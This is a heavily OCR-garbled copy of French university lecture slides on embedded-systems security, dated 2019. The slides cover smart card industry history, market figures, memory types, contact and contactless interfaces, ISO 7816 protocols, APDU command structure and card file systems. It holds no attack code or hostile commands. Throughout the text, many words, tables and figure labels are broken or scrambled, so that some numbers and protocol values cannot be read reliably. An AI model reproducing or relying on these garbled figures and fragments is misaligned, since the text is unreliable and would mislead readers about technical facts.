* Bancaire : (GarteBancaire, Carte Bleue, EMV, MasterCard, Menéso,
VISA, ...

* Téléphonie :
Vodafone, ...

* TV : Canal+, CanalSat, TPS, ...
* Santé : Sécurité sociale, ...

« Evaluation/Certification : CEA Leti, SERMA Technologies, SGDN --
ANSSI, Silicomp, Thales, ...

* Laboratoire : CNAM, INRIA, LaBRI, XLIM, ...
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Un peu de géopolitique ?

* La société Innovatron est créée par R. Moreno pour exploiter ses brevets.

* En 1979, le géant des services pétroliers Schlumberger entre au capital
d’Innovatron pour 23 %, ensuite pour 34 %.

En 1997, Schlumberger acquiert le concurrent francais : SOLAIC, ensuite
Bull CP8 en 2001.

* En 2001, Schlumberger externalise 'activité « Cartes a => Axalto
* En 1988, Marc Lassus crée Gemplus en France.
* En 2000, Texas Pacific Group (TPG) entre au capital us
* 09/2002-06/2006, Alex J. Mandl est directeur gé
* administrateur de In-Q-Tel (le fonds de capital-risqué&)c ar la CIA)
* Gemplus était numéro 1 mondial jusqu’a sa fgsi ec Axalto en 2006.

e Naissance de Gemalto
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Un peu de géo que ?
* En 2009, I'Etat frahdais Fachete 8 % de Gemalto via le Fonds
stratégique d'inv ment
* Trop tard les 'ricaiQ ont obtenu les technologies de cryptologie de la carte
a puce
* TPG revepd s arts
* Fin 2016, aJto était le leader mondial, suivi par Oberthur
Technologies iesecke & Devrient.

* || restait aussi Safran — Morpho (résultant de la fusion Sagem-Orga)
* En 2017 : Oberthur Technologies rachete Morpho et devient Idemia
* En décembre 2017, Thales rachete Gemalto.

Plus d'info : http://blogs.univ-poitiers.fr/n-moinet/2015/02/23/de-gemplus-a-gemalto-la-guerre-secrete-continue/
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Répartition geographique du marche
e Chiffres de 2005

Zones Geographiques a Microprocesseur

Europe / Moyen Orient / Afrique 48,00%
Asie 36,00%
Amérique du Nord et du Sud 16,00%
Total 2005 100,002

_

oyen Orient / Afrique

rique du Nord et du Sud
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2014 " Cartes

N\ \)(Millions d'unités - Mu)
U a Microprocesseur

secylr (contactless)

1A nications 5100
Servidss hanciers /

délité 1800 (740)

‘) ernement / Santé 400 (240)

< es (Transport, TV Payante, 410 (70)

cés logique et physique) + (180 pour le transport)
Total prévision 2014 7710 (1230)
f Cartes

(Millions d'unités - Mu)

Secteur a Microprocesseur
Télécommunications 5200
Services financiers /
Fidélité 2050 (880)
Gouvernement / Santé 380 (230)
Fabricant d'appareil 190
Autres (Transport, TV Payante, 400 (70)
acces logique et physique) + (180 pour le transport)
Total réalisé 2014 8220 (1360)
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Prévisions 2015

Worldwide Secure Elements shipment — 2013 & 2014 shipments and 2015 forecasts

(Million of units)
Source: Eurosmart, April 2015

2015f vs 2014
WW shipments forecast 2013 2014 % growth

Smart Secure Device Telecom 4,850 5,200% 5400 3,8%
Banking 1,550 2050 2450 19,5%

( Mu ) Government 350 380 420 10,5%
Device Manufacturers 190 190 310 63,2%

Others®* 390 400 430 7,5%

Total 7,140 8,220 9,010 9,6%

* Source SIMAlliance
**Others inciude Transport, PayTV and physical and logical access cards.

Worldwide Smart Secure Contactless market figures — 2013 & 20,
forecasts

(Million of units)
Source: Eurosmart, April 2015

2015fvs 2014
Of which contactless 201 2 % growth

Smart Secure Contactless Eaanchal seevices S50 19,3%
Government — Healthcare 200 13,2%
( Mu ) Transport 160 16,7%
Others* 70 0%
Total 1,020 17%

*Others include Transport, PayTV and physical and igffk

NFC Secure Elements

(Mu)
WW shipment forecast

NFC Secure Elements

Répartition pa&%ur et évolution

¢

79

Worldwide Secure Elg

10000
9000
@ Telecom 2000
7000
m Banking 5000 - .
5000 - -
B Government 4000
3000
o Device 2000 4200 “HLD = e = -
Manufacturers 1000
| Others 0
010 011 2012 2013 2014 2015¢

Telecom mPaymentcards W Government  m DeviceManufacturers  mOthers
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Quelques chiffres

* Prévision de livraison de cartes a microprocesseur en 2018 (en
Millions d’Unités — Mu)

Télécommunications 5600
Services financiers 3150 (1500)
Gouvernement / Santé 510 (300)
Fabricant de dispositifs communicants 470
Transport 300 (300)
TV payante 95
Autres (Controle d’acces physique et logique) 90
Total 10215
) volume en sans contact
Sécurité des systémes embarqués - | 2/ - fuveron 81

¢

Plusieurs class ts possibles

es cartes a mémoire
O versus
les cartes a microprocesseur

les cartes a contact
versus
les cartes sans contact
versus
les cartes dual-interface
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La carte a mémoire

* Premier modele de cartes a puce
* Majorité des cartes vendues dans le monde en 1999

1999 Card Shipments figures per sector
» Strong increase in microprocessor cards (+60%)

» Slight progression of memory cards (+14%)

* Elle possede : _%
* une puce mémoire de 1 a 16 ko g e

-
* une logique cablée non programmable 200
Transport -~ 3
i Ava ntages : PayTV/IT 29
. . Others 49 28
* sa technologie simple \ - -
. A Total ZA9
* son faible colt (<1€) (,{K -
* Inconvénients : @
* sa dépendance vis-a-vis du lecteur de carte
* « assez » facile a dupliquer
Sécurité des systemes embarqués - | 2/ 9 - uveron 83

¢

EEPROM

Signal A = InLens |
I S—— . . o cee ]

- - s Vue en coupe
Vue de dessus

* Collt : entre 1€ et 20€ (acceptable pour tant de sécurité).
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La carte a microprocesseur

* Microprocesseur : 8, 16 ou 32 bits (a architecture CISC ou RISC) :

ROM : 32 a 256 Ko
» Stocke le systeme d'exploitation et des données permanentes
* Figée en usine

EEPROM : 32 a 256 Ko

* Mémoire persistante => stocke les données applicatives
* Problemes : durée de vie limitée et temps d'acces lent

RAM:1a4Ko
* Mémoire de travail
* Avantages : durée de vie illimitée et temps d'acces rapide

-\

1 [Blah Blah]
4 b

 Coprocesseur cryptographique

v
[@¢" #~r&x]

* Générateur de nombres aléatoires (RNG)

Vers de nouvelles mémoires (+ rapide, + grosse) : FeRAM, , MR
Sécurité des systemes embarqués - | 2/ 9 -

Q

auveron

Les différents t de mémoires
RO EEPROM | RAM

* L

Appll{'ntmn Data &

. x 10
OS5 Extensions | OS Work Space ]

ROM EEPROM RAM

Min ~3Kb ~4b ~128b

Max ~128Kb ~64Kb ~3Kb

EPROM : Write once, read FOR EVER !

— Used for initialization area (e.g. Lock bytes)
Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Les différents types de mémoires

RAM EEPROM Flash-RAM Fe-RAM
_ Statique i
Persistance Volatile Non Volatle | Non Volatile | Nen Volatile
Tps Accés Read 0.1 s | 0.15 us ‘ 0.15 s 0.1us
Tps Acces Write 0.1us 10 us 10 us 04 ps
Tps Effacement (Reset) Sans 5000 us 100 000 p ns

Nombre de Cycles Trés grand 105 gw 1010
garanti en Ecriturs & W)e en

. Ecnture/Lecture

Granularité Effacement Sans | 4 Octets 64 Oﬁ: @gans
\_//

Taille du point mémoire >100 pm? > 30 um? /'« ~t\|"6/umz <10 um?

Sécurité des systemes embarqués - @9 -0 Hfauveron 87

Comparatif ent é@:arte et ...

* L'ordinateur de pilg4dg pollo 11 (1969) ==
2 MHz CPU P e
16 bits 0 I ——

2 ko de RA

36 ko d&
e Un PC de la finMes années 90

Carte apuce PC Ratio
RAM 1 ko 128 Mo | 130000
Stockage 64 ko 6 Go 100000
Connectivité 192 kbits 100 Mbits 500
Microprocesseur 20 Mips | 500 Mips 25
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Les technologies de communication

versus

versus @

A
@O
(@@

\
La carte a cont
¢ Communication série via hui{fon
* Energie fournie par le le r dedarte

e Suit le standard ISO 78 O

* Problémes :
* l'insertion retrait sont des facteurs d'usure de la carte
* |'orientat carte dans le lecteur
Contact Smart Card

o Card Body
= |
\»y (Contacts)
{ i ‘ "




La carte a contact

* Son fonctionnement, |'oblige a étre insérée dans un lecteur de carte.

* Elle utilise une communication série via huit contacts.
Data Bus

* 1 ligne 1/0O semi duplex
‘ Microprocessor

Veec  Ground
~ Reset Vpp CPU EEPROM

ROM RAM
—Clocky - 'yo SH
§ Address Bus
Microcontact Microchip

91

Sécurité des systémes embarqués - |

La carte a cont @

s bétween the chip and the module (wire

o

* 8 contacts (C but only 6 used

* Couseda pwhile EEPROM where not embedding charge pump,

* Supply votta 7v (SIM) to 5,5v (standard TTL) and clock provided by
the reader. .

e Electrical connect;
bonding proces

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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La carte sans contact

e Communication via une antenne dans la carte

* Récupere son énergie d'un couplage capacitif ou d'un couplage inductif
* Suit le standard ISO 14443

* Problemes:
* la distance de communication limitée (environ 10 cm) Contactiess Smart Card

* temps de transaction est de I'ordre de 200 ms
* =>limite les données a échanger

* le colt élevé

|
Chip
A Antanna

é@
Carte sans con @@7

* Need: modulator ulator, anti-collision mechanism, voltage
regulator, reset g \f’ and an antenna.

a

* For data trApsferall known digital modulation techniques can be used
(ASK, FS PSK).

* Standards : close coupling ISO/IEC 10536 (3-5MHz), proximity cards
ISO/IEC 14443 (13,56MHz) and Hand Free Cards ISO/IEC 15693,

* Used for public transportation, ski pass, access control, payment with
GSM (NFC)...



La carte combi

e C'est une combinaison entre :
* |a carte a contact
* et |la carte sans contact

* Ces deux possibilités de communication en font une carte « idéale ».

s

Sécurité des systemes embarqués - | 95

Quelque Imens de mon Zoo

e

TELECARTE

Cartes & Moroprocessaur, 1967-2007
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Les différentes formes et interfaces de communication

* Cartes avec contact (Module SIM GSM) i

« [SO 7810, 7816-1, 7816-2 @
« USB ou OTG (USB pour mobile )
Cartes sans contact
«  Plusieurs normes

Cartes Hybrides

= combinaison contact et sans contact

Boutons
« Produits iButton (bus DS 1-Wire)
« JavaRing (iButton monté sur bague)

Dongle
» Série, parallele, USB

Sécurité des systemes embarqués - @9 E uveron 97

Les terminaux;;ég@

* Contact / sans copftac
* Simple / complexe ( ier, LCD, multi-emplacement, biométrie, ...)
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Quelques périphériques pouvant intégrer une
puce securisée

Anneau Java

[Button

Bande
magnétioue
Emblemes
de marque

Carteen -
Personnalisation

plastique
Embossage
Numéro de série
Antenna
Micropuce
Logiciel ;.
Doanées du tfulaire Dongles : Série,
Clés de séeurité
parallele, USB
GContactless Sécurité des systemes embarqués - | 2/ 9 - uveron 99

Smart Card

Cycle de fabricg

Assemblage
Micro-electronique

3

1

|
|
=
|

L

e i
| Rl Sl | :
[ | e | e | | T CIage
[ e e | e | | |

COCE I CaCOED)
T O C e
| || e | |

I ES e
[ | [ e |
[ e | [ e |
[ | e | | |
T o T |

Protection Assemblage

CEe
- :
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Cycle de fabrication

Moulded card

~Saslepicin Mill hole for chip

. Sky High Credit

*
234 5678 901273 -
Sécurité des systemes embarqués - @9 E uveron 101

Personnalisatioq’®&tcycle de vie

carte assemblée

test et pre- personnallsatlon

/) a carte pré- personnallsee
Perso phys@v

Perso logique

personnalrsatmn par I'émetteur

@

carte personnalisée

@

utilisation par le porteur

.

Mor
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Applications Gam

e L'industrie des télécommunications A

= .
* L'industrie bancaire et monétaire (BO', EMV) """I
* Le porte-monnaie électronique (Monéo, Proton, CEPS)

* Le secteur de la santé
#J'
* L'industrie audiovisuelle avec la télévision a péage, ...

* Les transports en commun

* Le contrdle d’accés physique de personnes a des locaux, ...
¢ L'identification : a des sites sur I'Internet, ...

* Les « e-services »

* L'identification gouvernementale (carte d'identité, ...)

* Les applications de fidélité

Sécurité des systemes embarqués - |

&

Le systeme d’e ttation (OS)

e Gestion des écha s entre la carte et le monde extérieur via un
protocole d’éch

* Gestion des ux Informations et aux fonctions (sélection de
fichier, lectgyeN&efiture, etc.)

e Gestion ichiers et des données a l'intérieur de la mémoire

* Gestion de la sécurité (authentification, signature, confidentialité) de
la carte et de la mise en ceuvre des algorithmes cryptographiques.

e Gestion des erreurs

» Gestion du cycle de vie de la carte (fabrication, personnalisation,
utilisation, fin de vie).
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Quelques remarques sur la programmation d'un
systeme d’exploitation pour carte

* No user interface or access to external memory,
* Program written in ROM code (no self modifying techniques allowed),

* No change are possible once the chip is manufactured => quick and
dirty programming IS NOT AN OPTION !!!

* Smart Card OS is reliable and robust,
* Design consideration:

* Persistence...
* Closely coupled with the hardware gz

Sécurité des systemes embarqués - @9 - uveron 105

Types de syste é@exploitation

n (ekemple de la carte bancaire BO) : se base sur
0 ant un certain nombre de fichiers
ichiers possedent des droits d’acces pour la

* OS mono-applic
un fichier matitr
élémentaires

* OS multi-application : présente plusieurs niveaux de répertoires et de
fichiers. Chaque répertoire est associé a une application particuliere.
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Quelques exemples de SE pour carte

* Masque dédié : une seule application figée
* BO' (CB, Sésame Vitale, CPS)
* Monéo

* Mono Application

* Cartes systémes de fichiers (ISO 7816-4) avec authentification du porteur et
contréle d'acces

* Moteur de base de données (ISO 7816-7) heWinning
* BasicCard

* Multi Applications
+ Wisc (Windows forsmartcard)

* Multos , . | o
* Java Card ' LR
e .NET SmartCard ' ] AV
Sécurité des systemes embarqués - @9 . Fuveron 107
Evolutions 7:
Mnnnh’thicdfé ?Mu!ﬁ Application Platforms  Technologies

Pay- Trans- | | Signa-

ROM ment port ture

Operating

System

Operating System

= Separation or operating system and applications

= Standard language for application development
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Le cycle de vie des cartes multiapplicatives une carte dynamique

Fonctionnalités

- Retrait du
. Ajout d'un e-Purse MLaJ dll:y
4 e-Loya
e-Purse pour USA

pour USA -

Ajout d'un
e-Purse
pour Japon

Ajout d'un
;\ X e-Loyalty
‘ H Ajout d’'un
, '\\ e-Purse
—J' "—‘ @

Carte SIM
de base

»

A
RN e N 4
Fabrication Perso. Utilisation A \/

J A\ ]
La carte est )Ve(
chez le fabricant > Hcaioedt %e% 2//\ : >
—chez le fabricant_
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Q
Ses avantages . @
* Le time2market ggfx

* Besoins des dével S

* Sortir la carte e programmation « élitiste » :
u

* Seuls les pr rs de longue date savent correctement écrire une application
carte

. 39Iuti|o iliser des langages de programmation courants en informatique (C, Java,
isua |
Permettre de tdgter des solutions :
* portage sur carte plus rapide => possibilité de test

Besoins des utilisateurs
* Se simplifier la vie :
 utiliser la méme carte pour toutes les applications
* Plusieurs applications sur une méme carte
Pouvoir changer de prestataire sans avoir a recommander une carte
* Chargement / déchargement d’application
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... et ses problemes lors de la mise a jour

SIM/GSM SFR) Cas mono-partenaire Cas multi-partenaires
PME (BNP) )

s | a @ e

Fidelite| @ "
oo ® g oo | OV oo

= T a— o
IF (B FD (BNP) (BNP) ﬂ Mise 2 jour de
b I"applet
2 \ B

Syst
d’exploitation

v

Personnalisation ~ SFR se retire Mise ajour  BNP rejoint Fin de Vie
d’Avis  l'app. de fidélite  de la carte

Sécurité des systemes embarqués - | 2/ 9 - uveron

ISO 7816 : le st rd |

* Partie 1 : Caractéristigdes sigues

* Partie 2 : Dimen et p&ition des contacts

* Partie 3 : Sighdux €téctroniques et protocoles de transmission
* Partie 4 : Commawdes inter-industrie pour I'échange

* Partie 5 : Identificateur d'application

* Partie 6 : Eléments de données inter-industrie

e Partie?7,8,9, ..

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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1ISO 7816-1

» Définit les caractéristiques physiques : dimensions, flexibilité,
résistivité.
 Définit aussi les formats plus petits (SIM)

85 mm

e T

4 N

- 54 mm
L 3
d 0.76 mm

1ISO 7816-1

* Méme si on connait éral deux formats de la carte a puce
* Celui de la carte cai
* Celuidelacart

* 3 formats nlo 'sés<.>ID1, IDOO et IDOOO b o000

25 -
‘rR=3.18mm fe————— i > ,~R=1mm @ @
Y 3mm & @
) T

3mm—> < >{< 076 mm

{ L] Thickness

Le fabricant produit une seule taille (ID1), le client final pourra réduire ses
dimensions au format IDO0 ou ID0O0O0 (ex. carte SIM)

< 85,6 mm d —>{l< 0,76 mm 6,25 mm
-~
[ )
ID 00 ~R=318mm 16,40 mm
= # |
| e )
33 |rnm :H A
X
65 mm | >{}< 076 mm

L 7
Sécurité des systémes embarqués - ISIMA - 02/2019 - D \ \—IDOO \—ID‘I
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1ISO 7816-2

» Définit les aspects électriques et la position des contacts sur la carte.

~

K=

1-Vce Gnd-5

(Vo &/ ’

2-RST / <
3-CLK /\/< vo-7
4-RFU RFU-8
/
Sécurité des systemes embarqués - | 2/ 9 - uveron 115

¢

Position des c%é%}s sur le support plastique
Ay |

| :

1 D
1 1923 i |
2 AT BA ||
c3 431 2801
gg 2685 2855 ¥

1923 2093 o -

c6 AT 247 L.
C7 | 1787 1987 2431 2501
c8 1781 1987 288 855

Position IS0 7816 (<)

c4
Valeurs en mm -
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Normalisation AFNOR / ISO

* La position des contacts : position AFNOR et position ISO

Carte ISO

40
UNITES

Carte AFN

TELECARTE |

Sécurité des systemes embarqués - | 2/ 9 - uveron 117

¢

1ISO 7816-2

e Vcc: tension d’alimentati
e (4.75V > Vce >5.25V) V,

osi e la carte fournie par le lecteur
ur une carte SIM

microprocesseur (warm reset)
ment de I'alimentation

. i ala carte par le lecteur vee
: RST

. e Use) non utilisés CL
GND: masse électriqtie de la carte

* 1/0: utilisé pour le transfert des données et des commandes entre la carte et le lecteur. La
communication est half-duplex.

* Vpp: destiné a l'origine a recevoir la tension de programmation des mémoires non-volatiles
EPROM. Cette tension était de 25 Volts a I'origine, puis 21 Volts, puis devenue inutile avec
['utilisation d' EEPROM qui possedent leur propre ﬁénérateur de tension de programmation sur la
puce a partirdu 5 VoIts?Vcc). Utilisé pour SWP (full duplex)
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1ISO 7816-3

* Cette partie normalise :
* les protocoles de transmission (TPDU : Transmission Protocol Data Unit) :
* T=0, protocole orienté octet
e T=1, protocole orienté paquet
e T=14, réservé pour les protocoles propriétaires

* la sélection du type de protocole (PTS : Protocol Type Selection)
* la négociation des paramétres du protocole (PPS : Protocol Parameter Selection)

* laréponse au reset (ATR : Answer To Reset) qui correspond a la mise en route du prog ROM de la carte

* Min. 2 et Max. 33 caractéres et 5 champs
* Permet de fixer :

* Les conventions de codage des octets

* Le temps de transmission d ‘un bit

* Lavaleur de la tension de programmation

e Le protocole de communication

* Un historique qui saffichera a la mise

sous tension de la carte (ex: version de | ‘OS) é
Réponse 2 la négociation
L. . , . Commande .
* les caractéristiques électriques comme :

Réponse
* lafréquence d'horloge (entre 1IMHz et 5MHz)
* lavitesse des communications (jusqu'a 115200 bauds)

Retrait de la carte ‘

Sécurité des systemes embarqués - | 2 /749 - uveron 119

Exemples d'AT
e Carte Santé Vitale
* ATR=3F 652500 2C

e Carte Bancaire CB
* ATR=3F 65 2508

e Carte Verte Mon

* Carte GSM ltine
e ATR=3F 2F00 30 AF 5902 0102800017 OAOE 83 1E9F 16

* GXP211_PKIS
e ATR=3F 6D 00 00 80 31 80 65 BO 0501 02 5E 83 00 90 00

¢ GemSafe
* ATR=3B A7 004018 8065 A2 08010152

* Schlumberger Palmera
* ATR=3B6500009C02020601

* Cyberflex Access e-gate 32K
* ATR=3B 7594 00 00 62 02 02 00 80
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Protocol Type Selection

* Needed only if the terminal wants to modify parameters,

* If the card agrees, it sends the PTS back to the terminal

* Otherwise the terminal execute a reset (warm => protocol change),
* Only one PTS after the ATR.

ATR

Reset the card

|
|
|
I
: PTS request

PTS ok?

'y

Yes PTS Response

|

1

|

No |

|

Wait for reset I

Sécurité des systemes embarqués - | 121

&

Comportements de te et du lecteur lors d’un Reset

B —

Card
removal
Prepare
ATR
Card on
removal
/ Issue ATR
APDU
dispatch

Receive full
espons

Request command Dispatch APDU to
. Issue response to
completion J reader processor
partial APDU
processing

Diagramme d’état du lecteu © /"o embaraues BIVA- 0220 i siime d’état de la carte e

idle

response




Transmission protocols

* T=0 most widely used (1989), T=1 block oriented
* T=14 Japan and Germany

Transmission Meaning ISO
protocol /\
/\
T=0 Asynchronous, half duplex, byte oriented U )\ 7816-3
T=1 Asynchronous, half duplex, block oriented m 7816-3
T=2 IAsynchronous, full duplex, block oriented, tbhs U‘} 10536-4
A\
T=14 National functions 6\\)/ No ISO
)

Transport protg:;23
10 &

* Byte oriented

* Block orient¢

Sécurité des systemes embarqués - @9 -O0.#auveron

(parity only) 2 etu mute (“0”)

d/Header : NAD, PCB, LEN; data : INF, CRC.

* NAD 3 bits destination address, 3 bits source address

* PCB define th

e kind of block

* | (#block, more) numbered mod 2, more = 1, another block follow
* R(#block, error) numbered mod 2, next expected block,
* S specific command (RESYNC, IFS, ABORT, WTX)

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron

6nsmission (1 start bit, 8 bits data, 1 parity bit, 2 stop

123

124



T=0 Structure d'une commande/réponse

e

« Commande CLA INS P1 P2 P3

* CLA est normalisé (par exemple FF est utilisé pour le PPS)

* INS ne doit pas étre Sx ou 6x et devrait étre paire avant I'édition 3 de
I'1SO7816-3 (2006)

* Réponse Sl | Sz
* Les valeurs sont normalisées

* 9000 : succes
* 6E xx : classe inconnue
* 6D xx : instruction inconnue

°
Sécurité des systemes embarqués - @9 E uveron 125

| @vi—duplex de caracteres asynchrones)

je des données a la carte)

Protocole T=0 (Transmis

* Commande entran

* Commande sort

e Structure d e

* Octets de procédure

écupere des données de la carte)

e e e

CLA INS P1 P2 P3

Byte Value Action on data transfer Then reception of
NULL '60' No action A procedure byte
SWi1 '6X' (#'60'), '9X' No action A SW2 byte
ACK INS All remaining data bytes (if any bytes remain) A procedure byte
INS & 'FF' The next data byte (if it exists) A procedure byte
The first two editions of ISO/IEC 7816-3 specified the use of two values of ACK (namely, the exclusive-or of the value of INS with '01"
and 'FE") to control the deprecated use of contact C6 (see 5.1.1). These two values are deprecated.




T=0: Commande entrante

Terminal Carte

nt gde

Sécurité des systemes embarqués - @9 E uveron 127

T=0: Comman rtante

T ina Carte

W
©
Traitement de la
commande

W

‘W
4—“
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1ISO 7816-4

* |SO 7816-4 vise a assurer une interopérabilité.
e But:indépendance des applications par rapport aux couches physique et liaison
* |l spécifie :
e le contenu des messages entre la carte et le lecteur
* les commandes
* les réponses
* les structures des fichiers et de données :
* |'accés a ces données
* |'architecture de sécurité
* la sécurisation des communications

* Le protocole APDU
* Protocole de niveau application.

* La commande APDU (C-APDU par le CAD vers la carte
Entéte obligatoire Corps orticnnel

* Laréponse APDU (R-APDU) : transite de la carte vers le CA A
Corps optioniiel Etat obligatoire

1ISO 7816-4

* Les différents cas d!é s APDU :




Exemple de communication APDU

Chent Card
Application Applicanon
BO 40 xx =x 03 61 62 &3 00 ' IOCEaEES
50 80 ile =1

Rz}

O 20 xx xx 01 01
90 00

BCEsS
oy

~ BO 30 =x xx 01 ~ DCESSES
0% 90 00 The request

* La transmission d'APDU en T=0 ou T=1 est 5e dans les annexes de

I'ISO7816-3
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Complexité

* Afin de pouvoir r
des différents p
nécessaire d'
ordre.

ansparent la communication APDU vis a vis
S sous-jacents, on verra en Java Card qu'il sera
er & méthodes de communication dans un certain

* En effet, ar exemple ne permet pas d'avoir des commandes
entrantes et antes ...
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APDU Command-Response

* Different configurations in T=0
* Command without data, response without data

b

P3=,00! iigo”l “00”

* Command without data, response with data length kno

ez | IR

P3=’length’

|
“90” “00”

Sécurité des systemes embarqués - I g uveron 133

@@

sponse

APDU Comma

* Command witho 7 response with data, length unknown

“9F,,‘I “Iength1”
'

P3="length2’ “90” 00"

 Command with data, response without data

Case 3
ecurjte’des systemes embarques - -02/2019 - D. Sauveron

3—,Iength’ “90” “00”
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APDU Command-Response

* Command with data, response with data length known or unknown

P 2 1210 ) R

P3="length’ “OF”

GET_RESPONSE

o |

P3=’length2’

Sécurité des systemes embarqués - @9 E uveron 135

Comment est traité le ca U (données entrantes et sortantes) ?

e Utilisation de la comoha spéciale GET_RESPONSE
i Carte

“90” “00”

Traitement de la
commande

t Traitement de la
commande
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CLA Class byte

b8 | b7 | b6 | b5 | ba | b3 | bZ | b1 | Meaning

0 0 0 X - - - - | Command chaining control

0 0 0 0 - - - -- The command is the last or only command of a chain

0 0 0 1 - - - - | -- The command is not the last command of a chain

0 0 0 - X X - - | Secure messaging indication

0 0 0 - 0 0 - - | -- No SM or no indication

0 0 0 - 0 1 - - | -- Proprietary SM format

0 0 0 - 2 0 - - | -- SM with command header not processed

0 0 0 - 1 1 - - | -- SM with command header authenticated /A
0 0 0 - - - % x | Logical channel number from zero to three { ( \\
0 0 1 X X X X x  Reserved for future use by ISO/IEC JTC 1/SC 17 ,.\\’ - /,
0 1 % - - - - - | Secure messaging indication \Y
0 1 0 - - - - - | --No SM or no indication

0 1 1 - - - - - | -- SM with command header not processed&

0 1 - X - - - - | Command chaining control

0 1 - 0 - - - - | -- The command is the last or only co ain

0 1 - 1 - - - - | -- The command is not the last co nd of aTain

0 i1 - - X X X x | Logical channel number from{Mteen

1 % % X % X X x  Proprietary class. The applicgfpn-co fines the other bits.

1 1 1 1 1 1 1 1 Invalid (used by PPSin IS 6-3)

interindustry class

CLA Class bytei§

Class pp jon

¢

80’ / ectronic purse compliant with EN 1546-3

‘8 gredit card compliant with EMV-2
‘A GSM compliant with prETS 300 608/GSM 11.11
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INS Instruction byte

Table 4.1 — Commands in the alphabetic order Table 4.2 — Commands Iin the numeric order
Command name INS See INS Command name See
ACTIVATE FILE ELs Part 9 ‘04 DEACTIVATE FILE Part 9
APFEND RECORD B 137 ‘oc ERASE RECORD (S) 738
CHANGE REFERENGE DATA 24 T '0E, '0F | erasEBmMARY Ty
CREATE FILE ‘B0 Part 9 "o PERFORM SCQL OPERATION Part 7
DEACTIVATE FILE 04 Part 9 "2 PERFORM TRANSACTION OPERATION Part7
DELETE FILE ‘B4 Part 9 "4 PERFORM USER OPERATION Part 7
DISABLE VERFICATION REQUIREMENT 26" 759 20,21 |veriFy 756
ENABLE VERIFICATION REQUIREMENT 28 758 22 MANAGE SECURITY ENVIRONMENT 1511
‘ enveLore | 'C2,'CT | 762 24 CHANGE REFERENCE DATA 757
eraseBmNary | OE, 'OF | 727 26' DISABLE VERIFICATION REQUIREMENT 759
ERASE RECORD (S) 0c 738 28 ENABLE VERIFICATION REQUIREMENT 758
EXTERNAL ({ MUTUAL) AUTHENTICATE 82’ 154 iy PERFORM SECURITY OPERATION Part 8
GENERAL AUTHENTICATE | 86", 87 | 755 2C RESET RETRY COUNTER 7.5.10
GENERATE ASYMMETRIC KEY PAIR 46 Part 8 44 ACTIVATE FILE Part 9
GET CHALLENGE 84 153 46" GENERATE ASYMMETRIC KEY PAIR Part 8
ceETDaTA [ 'CA','CB' | 742 70 MANAGE CHANNEL
GET RESPONSE co 761 ‘82 EXTERNAL (/ MUTUAL) AUTHENTICA
INTERNAL AUTHENTICATE 88 752 ‘84 GET CHALLENGE
MANAGE CHANNEL 7o 712 "86", 87" | GENERAL AUTHENTICATE
MANAGE SECURITY ENVIRONMENT 22 7511 88 INTERNAL AUTHENTICATE
PERFORM SCOL OPERATION 10 Part 7 ‘AD’, 'A1" | SEARCH BINARY
PERFORM SECURITY CPERATION 24 Part & 'A2 SEARCH RECORD
PERFORM TRANSACTION OPERATION 12 Part 7 ‘A4 SELECT
PERFORM USER OPERATION 14 Part 7 ‘B0, 'B1" | ReaD BINARY
putoaTA | ‘DA, DB | 743 ‘B2', 'BY |ReaD RECORD(S)
READ BINARY | 'BO°, 'B1" | 723 co GET RESPONSE
READRECORD (S)| ‘B2, 'B3 | 733 'C2','C3 |enveLoPE

RESET RETRY COUNTER 2c 7510 'CA', 'CB' |GETDATA

searcHBINARY | ADY AT | 726 ‘Do, DY
SEARCH RECORD A 3% ‘D2

SELECT ‘A4 s B ‘D6, DI

TERMINATE CARD USAGE FE Part & ‘DA, ‘DB’

TERMINATE DF 'E6’ Part9 ‘DC’, 'DD’
TERMINATE EF 'E8' Part 9 'ED'

uPpaTEBINARY | 'DB','DT" | 725 g = ‘

uPpatE Recorp | DC,'DD"| 735 B4’
veriFy | "20°, 21" | 756 ¥
wRTEBNARY | ‘DD, 'D1" | 724

WRITERECORD [ D2 734 iR -3 139
— In the interindustry class, any valid INS code not defined in |sonEn(F'§ﬁ\eVu r futhuse by ISONEC JTC 1/SC 17.
Champ de la 0\) Valeurs
commande APDU
CLA = carthe crédit francaises, cartes vitales francaises,
6 cartes SIM (téléphonie)
1 cartes Monéo (porte-monnaie en France), Mastercard, Visa
INS \/ 0 = vérification du PIN,
0 = Lecture
B2 = Lecture de record
DO = Ecriture
DC = Ecriture de record
A4 = Sélection du répertoire (directory)
CO = Demander une réponse (get response)
P1, P2 parametres contenant des adresses a lire
LEN longueur prévue pour la réponse ou bien longueur de 'argument de I'instruction
ARG contient LEN octets (octets a écrire, PIN a vérifier, etc.)

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron 140



Return Codes

e« SW1, SW2 ='90 00’ command successful, ‘’63xx’ or ’65xx’ means
EEprom has been modified,

« More than 50 different return codes defined by standard,
o Often not respected...

Process completed Return code Procggs abortdd
. ecking
Normal Warning Execution error
processing processing error
90 00’ ’62 xx’ ’64 xx’ ’67 xx’ to
’61 xx’ ’63 xx’ ’65 xx’ '6F xx’
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%&aae utilisateur
N

N/ T

Répartiteur de Cmd TN RN N

AN

E/S||ROM| [Fichier
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Example

M
Gemy{plore

* P1=0Offset High,
* P2=0Offset low. @
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2
1ISO 7816-4 @

* Le systeme de f|ch|e cartes a puce supporte un systeme de
fichiers hiérarchi q P ut contenir trois types de fichiers :
* "Master File" (
* "Dedicated Fflg)')(DF) 0
* "Elementa EF)

* Les différents types d' « Elementary File » (EF)

- ISIMA - 02/2019 - D. Sau 144




Systeme de Fichier |ISO 7816-4

- I—
Structure hiérarchique (MS-Dos, Unix)

« MF : Fichier Maitre : Obligatoire (Racine) 3F . 00

= Contient un fichier de contréle d "information et de mémoire allouée
« DF : Fichier Dédié :

+ contient des mots de passe pour accéder aux EF
* EF Fichier Elémentaire :

= contient des données ou des informations de controle

| A

: | ]
EF [oo.02|||00.12]| [o1.00] |[02.00]| DF Mﬂ PIN
l % 2.00/02.04

| [ 1
J,'-r5\|ulz.cu| [02.02 | |u2,os| 02
Eléctronic Purse File L
n Log

Cydlic Transacti
Calculation Jiyy File
PIMY ion Key Fila
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Exemple de me de fichier
d'un modu GSM

==t
12
25
&
= o
=%
s
[y
g
-
3
-
I®

CHUT - Card Halder Varhizatinn 1
=100 -1C Cad

- CHVE - Card Hodder Verifination &
